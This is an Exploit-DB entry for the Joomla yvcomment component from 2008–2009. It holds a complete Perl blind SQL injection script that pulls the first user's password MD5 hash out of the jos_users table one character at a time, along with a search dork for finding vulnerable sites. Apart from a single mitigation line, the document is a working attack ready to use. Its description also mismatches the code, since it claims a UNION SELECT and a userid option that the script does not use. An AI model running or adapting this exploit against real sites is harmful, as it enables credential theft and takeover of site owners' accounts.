Joomla Component yvcomment Blind SQL Injection Exploit

vendor:

Joomla Component yvcomment

by:

His0k4

7.5

CVSS

HIGH

Blind SQL Injection

CWE

Product Name: Joomla Component yvcomment

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

Joomla Component yvcomment Blind SQL Injection Exploit

This exploit is used to extract the MD5 hash of a user's password from a Joomla Component yvcomment. It uses a UNION SELECT statement to extract the password from the jos_users table. The exploit takes the host, path, userid, article id, and a character as parameters and checks if the substring of the password matches the character. If it does, it prints the character to the screen.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in a SQL query.

Source

Exploit-DB raw data:

#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
  print "                                                                        \n";
  print "  ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\n";
  print "  o   Joomla Component yvcomment Blind SQL Injection Exploit            o\n";
  print "  o   Author:His0k4 [ALGERIAN HaCkeR]                                   o\n";
  print "  o                                                                     o\n";
  print "  o   Conctact: His0k4.hlm[at]gamil.com                                 o\n";
  print "  o   Greetz:   All friends & muslims HacKeRs                           o\n";
  print "  o                                                                     o\n";
  print "  o   Dork :   inurl:yvcomment                                          o\n";
  print "  o   Usage:   perl yvcomment.pl host path <options>                    o\n";
  print "  o   Example: perl yvcomment.pl www.host.com /joomla/ -a 2             o\n";
  print "  o                                                                     o\n";
  print "  o   Options:                                                          o\n";
  print "  o     -a   valid Article id                                           o\n";
  print "  o   Note:                                                             o\n";
  print "  o You can Change the match string by any content of the correct query o\n";
  print "  ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\n";
  exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $userid  = 1;
my $aid     = $ARGV[2];

my %options = ();
GetOptions(\%options, "u=i", "p=s", "a=i");

print "[~] Exploiting...\n";

if($options{"u"})
{
  $userid = $options{"u"};
}

if($options{"a"})
{
  $aid = $options{"a"};
}

syswrite(STDOUT, "[~] MD5-Hash: ", 14);

for(my $i = 1; $i <= 32; $i++)
{
  my $f = 0;
  my $h = 48;
  while(!$f && $h <= 57)
  {
    if(istrue2($host, $path, $userid, $aid, $i, $h))
    {
      $f = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$f)
  {
    $h = 97;
    while(!$f && $h <= 122)
    {
      if(istrue2($host, $path, $userid, $aid, $i, $h))
      {
        $f = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}

print "\n[~] Exploiting done\n";

sub istrue2
{
  my $host  = shift;
  my $path  = shift;
  my $uid   = shift;
  my $aid   = shift;
  my $i     = shift;
  my $h     = shift;
 
  my $ua = LWP::UserAgent->new;
  my $query = "http://".$host.$path."index.php?option=com_yvcomment&view=comment&ArticleID=".$aid." and ascii(SUBSTRING((SELECT password FROM jos_users LIMIT 0,1 ),".$i.",1))=".$h."";
 
  if($options{"p"})
  {
    $ua->proxy('http', "http://".$options{"p"});
  }
 
  my $resp = $ua->get($query);
  my $content = $resp->content;
  my $regexp = "DateAndAuthor";
 
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }

}

# milw0rm.com [2008-06-08]